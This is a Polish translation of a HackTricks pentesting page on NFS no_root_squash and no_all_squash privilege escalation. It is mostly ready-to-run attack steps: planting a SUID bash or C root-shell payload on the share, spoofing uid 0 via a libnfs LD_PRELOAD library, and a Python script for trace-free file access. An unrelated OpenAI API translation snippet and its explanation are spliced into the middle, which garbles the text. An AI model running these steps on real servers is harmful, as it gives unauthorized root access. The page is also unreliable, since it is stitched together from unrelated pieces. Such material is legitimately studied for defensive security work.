NFS no_root_squash/no_all_squash misconfiguration PE

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Przeczytaj plik _ /etc/exports _, jeśli znajdziesz katalog skonfigurowany jako no_root_squash, będziesz mógł uzyskać do niego dostęp jako klient i zapisywać wewnątrz tego katalogu tak, jakbyś był lokalnym użytkownikiem root na maszynie.

no_root_squash: Ta opcja daje uprawnienia użytkownikowi root na kliencie do dostępu do plików na serwerze NFS jako root. Może to prowadzić do poważnych zagrożeń dla bezpieczeństwa.

no_all_squash: Jest to podobna opcja do no_root_squash, ale dotyczy użytkowników nie będących rootem. Wyobraź sobie, że masz powłokę jako użytkownik nobody; sprawdzasz plik /etc/exports; opcja no_all_squash jest obecna; sprawdzasz plik /etc/passwd; emulujesz użytkownika nie będącego rootem; tworzysz plik suid jako tego użytkownika (poprzez montowanie za pomocą nfs). Wykonaj suid jako użytkownik nobody i stań się innym użytkownikiem.

Eskalacja uprawnień

Eksploitacja zdalna

Jeśli znalazłeś tę podatność, możesz ją wykorzystać:

  • Zamontuj ten katalog na maszynie klienta i jako root skopiuj do zamontowanego folderu binarny plik /bin/bash i nadaj mu uprawnienia SUID, a następnie wykonaj z maszyny ofiary ten binarny plik bash.

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • Montowanie tego katalogu na maszynie klienta i jako root kopiowanie skompilowanego payloadu do zamontowanego folderu, który wykorzysta uprawnienia SUID, nadaje mu prawa SUID i wykonuje na maszynie ofiary ten plik binarny (możesz tutaj znaleźć kilka payloadów C SUID).

#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Lokalne wykorzystanie

Zauważ, że jeśli możesz utworzyć tunel z twojego komputera do komputera ofiary, nadal możesz użyć zdalnej wersji, aby wykorzystać podwyższenie uprawnień, tunelując wymagane porty. Następujący trik jest w przypadku, gdy plik /etc/exports wskazuje na adres IP. W tym przypadku nie będziesz w stanie w żadnym przypadku użyć zdalnego wykorzystania i będziesz musiał wykorzystać ten trik. Innym wymaganym warunkiem, aby wykorzystanie działało, jest to, że eksport wewnątrz /etc/export musi używać flagi insecure. --Nie jestem pewien, czy jeśli /etc/export wskazuje na adres IP, ten trik zadziała--

Podstawowe informacje

Scenariusz polega na wykorzystaniu zamontowanego udziału NFS na lokalnym komputerze, wykorzystując luki w specyfikacji NFSv3, które umożliwiają klientowi określenie swojego uid/gid, co potencjalnie umożliwia nieautoryzowany dostęp. Wykorzystanie polega na użyciu libnfs, biblioteki umożliwiającej fałszowanie wywołań RPC NFS.

Kompilacja biblioteki

Kroki kompilacji biblioteki mogą wymagać dostosowania w zależności od wersji jądra. W tym konkretnym przypadku wywołania systemowe fallocate zostały zakomentowane. Proces kompilacji obejmuje następujące polecenia:

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Przeprowadzanie ataku

Atak polega na stworzeniu prostego programu w języku C (pwn.c), który podnosi uprawnienia do roota, a następnie uruchamia powłokę. Program jest kompilowany, a wynikowy plik binarny (a.out) jest umieszczany na udziale z suid root, używając ld_nfs.so do podrobienia uid w wywołaniach RPC:

  1. Skompiluj kod ataku:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. Umieść atak na udziale i zmodyfikuj jego uprawnienia, podrobiąc uid:

LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. Uruchom atak, aby uzyskać uprawnienia roota:

/mnt/share/a.out
#root

Bonus: NFShell do dyskretnego dostępu do plików

Po uzyskaniu dostępu roota, aby komunikować się z udziałem NFS bez zmieniania właściciela (aby uniknąć pozostawiania śladów), używany jest skrypt w języku Python (nfsh.py). Skrypt ten dostosowuje uid, aby pasował do uid pliku, z którym się komunikuje, umożliwiając interakcję z plikami na udziale bez problemów z uprawnieniami:

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
import requests

url = "https://api.openai.com/v1/engines/davinci-codex/completions"

headers = {
    "Authorization": "Bearer YOUR_API_KEY",
    "Content-Type": "application/json"
}

data = {
    "prompt": "The following is content from a hacking book about hacking techniques. The following content is from the file /hive/hacktricks/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md. Translate the relevant English text to Polish and return the translation keeping exactly the same markdown and HTML syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, AWS, GCP...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.",
    "max_tokens": 100,
    "temperature": 0.7,
    "stop": "\n"
}

response = requests.post(url, headers=headers, json=data)
translation = response.json()["choices"][0]["text"]

print(translation)

This code snippet makes a POST request to the OpenAI API to translate the given English text to Polish. The YOUR_API_KEY placeholder should be replaced with your actual API key. The translated text is then printed to the console.

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated